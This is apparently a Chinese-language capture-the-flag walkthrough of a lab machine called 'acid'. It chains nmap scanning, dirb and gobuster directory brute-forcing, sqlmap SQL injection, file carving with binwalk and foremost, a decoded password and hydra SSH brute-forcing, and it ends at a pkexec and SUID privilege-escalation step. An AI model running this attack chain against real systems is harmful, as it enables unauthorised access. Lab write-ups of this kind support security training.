信息收集
|
IP Address
|
Opening Ports
|
|
192.168.101.158
|
TCP
:22,33447
|
$ nmap -p- 192.168.101.158 --min-rate 1000 -sC -sV
Not shown: 65534 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Ubuntu 5ubuntu1.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 cb:47:92:da:ea:b8:d3:82:16:22:0d:a5:5f:05:47:51 (DSA)
| 2048 fd:93:9d:28:57:fb:ef:e0:8e:f1:93:66:03:67:35:50 (RSA)
| 256 a0:a6:52:fb:2c:32:b7:08:b4:ed:61:1d:2d:fa:c8:58 (ECDSA)
|_ 256 85:5b:0b:e1:b0:ad:6a:d3:9e:8f:da:38:e5:bd:69:2f (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
本地权限
$ ssh [email protected]
http://192.168.101.158:33447/
$ dirb http://192.168.101.158:33447/
http://192.168.101.158:33447/bin/index.php
$ gobuster dir -u "http://192.168.101.158:33447/bin" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -x .php
http://192.168.101.158:33447/bin/dashboard.php
Referer : http://192.168.101.158:33447/bin/includes/validation.php
点击后来到页面
$ arjun -u http://192.168.101.158:33447/bin/l33t_haxor.php
http://192.168.101.158:33447/bin/l33t_haxor.php?id=1
$ sqlmap -u "http://192.168.101.158:33447/bin/l33t_haxor.php?id=1" --dbs --tamper=space2comment --batch
$ sqlmap -u "http://192.168.101.158:33447/bin/l33t_haxor.php?id=1" -D secure_login --tables --tamper=space2comment --batch
http://192.168.101.158:33447/UB3R/strcpy.exe
$ binwalk strcpy.exe
$ foremost strcpy.exe
foremost 是一个数据恢复工具，用于从设备、文件系统、或文件中恢复被删除的文件。它是一个命令行工具，最初是由美国空军计算机取证实验室开发的，用于从磁盘图像中恢复文件。foremost 通过识别文件头（headers）、文件中间的数据块和文件尾（footers）来实现文件恢复。
$ cd output
$ cat audit.txt
$ cd rar
$ unrar x 00000213.rar
$ cat acid.txt
$ binwalk lol.jpg
检测到包含RAR数据
$ unrar e lol.jpg
$ cat hint.txt
$ cat Avinash.contact
AQAAABIAAABOAG8AbwBCAEAAMQAyADMAAAA=
$ echo 'AQAAABIAAABOAG8AbwBCAEAAMQAyADMAAAA='|base64 -d
password:NooB@123
$ hydra -L /usr/share/wordlists/rockyou.txt -p 'NooB@123' ssh://192.168.101.158 -t 24
username:makke
password:NooB@123
权限提升
Pkexec
makke@acid:~$ find / -perm -4000 -type f 2>null
